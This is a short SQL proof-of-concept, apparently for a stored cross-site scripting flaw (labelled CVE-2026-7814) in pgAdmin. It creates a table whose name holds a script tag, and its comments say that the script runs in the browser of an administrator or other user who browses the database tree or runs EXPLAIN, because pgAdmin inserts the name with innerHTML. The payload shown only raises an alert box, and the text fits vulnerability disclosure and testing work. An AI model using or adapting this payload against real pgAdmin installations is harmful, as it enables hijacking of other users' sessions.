-- Step 1: Attacker executes SQL to create a malicious table -- The table name contains the XSS payload. CREATE TABLE "<script>alert('XSS by CVE-2026-7814');</script>" ( id INT ); -- Step 2: Wait for an Administrator or another user to browse the database -- tree or run 'EXPLAIN' on this table in pgAdmin. -- The payload will execute in their browser context due to innerHTML usage.
